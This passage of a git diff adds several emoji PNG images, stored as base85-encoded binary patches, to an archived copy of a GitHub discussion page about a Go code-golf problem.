z++61dS2F~_7<|E$>j!k<$e-y#|Ky7~0m0Nj8P~TCJ5lzwH#DW9q~1HIM<{aSRpI@9~>>TNzxQv-3-t@pf1uMt99x{Ep39kUE}w~IZoF)D=e z0}`MyQ_$Na*DE%PN~_=ZNk}4xjDb3uPr8qzbHq@a=E?K()@`oPctikIm>EcVEXyC! zjDfPGtibPul5D95H5f+2hr*R*`y|kG%!>p&Rt4A7hC)@c7tm|G!ANADCH~Qv=ePLm zZjqQ8Y@?~zQ*F$XK;=OnOj{x_X8Ax_3g&FR@McY>;ABmf_atgC4*<%g?yxA6E|gsV sWv}GQFMItmF7A>{r0$NpV^EL(0DGp^W~b0{$N&HU07*qoM6N<$f};FOa{vGU literal 0 HcmV?d00001 diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f440.png b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f440.png new file mode 100644 index 0000000000000000000000000000000000000000..0b11401c9ef1119f827fb76f75eb01fbef0e20e4 GIT binary patch literal 1326 zcmV+}1=0G6P)y2bWnv_ns39?ipotMR21GP5 zK@lNlwCB4Utn0pDA8Z0!*LMBx))riT=Da;Ur`via^K`rF|4Gi>@1OU1zs~c#t5!AC zP(uwhfw5_mi&(^xv&_2S{US+X2yzX^1>)Zf*2vBd}mX=SX=r}IuXkv&kO~M zl&mNUqnxmrVjKXOxhp?W57x=yc#x>bpq52B zOdB(kBoTD9&+EZf_V5}b(nm^6V4Gzr3}6Rh#dIt#E}=cbs#8J7$yQD9o+ zF^Yz~%`5BNVLx_|6jNAal6KA$axp83sZ0~YKtJV`wPlRV%6)iXOD?3cJ&0H{Ubs z44|i%-Z=v>V=FB@&pwX1nuO7Mys*vyI>U_N->yc&4MbS8)Utxv83ceTi&!Q5_o~MULM%$bNRSi&olrpM=Zr#9YNbw1`*M zsR%DzB}s-ny?n|cd>r8{GcJGhtSBx!Q2+4CIs-VMaa-hJ)-`u(;*~>G&fz91`XR5Z zQ1|3iT8pgc^5R@W#%QhwTV0y#=7}yhmpRef6-0|wq+oY=Wec;lP^5aX&PIGz zneDgwTc^dG7I@BXFXKe%L!MPP)r+mpXaUDe=IN6fYeyCPh6f4K94`@xoSjNKZ*ggWF7shZfVS9OXxr2)EFYr?idr zW~-0mCMjv&?&UYGs1@dG*960;1QPAfEC*Zt+VON?NFv1FOxQ8b7+nOAuIo=O7h9!2 z@ADt`7Xt(d(@#HP3%Us5PClCsJBsZ-DJ5TLv+aHr3 kZC|_6Y(ot-)X)m*Ur^}){MmW^;s5{u07*qoM6N<$f?P;@e*gdg literal 0 HcmV?d00001 diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f44d.png b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f44d.png new file mode 100644 index 0000000000000000000000000000000000000000..0cd8f6f25b8e1ac39c98e3af9434e84e3f695da2 GIT binary patch literal 2936 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f604.png b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f604.png new file mode 100644 index 0000000000000000000000000000000000000000..a297be1fa3d399cf9acbddbeba595f24eee2f2bc GIT binary patch literal 3064 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 S39%yp0000}sP)qc!vaE-#a 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 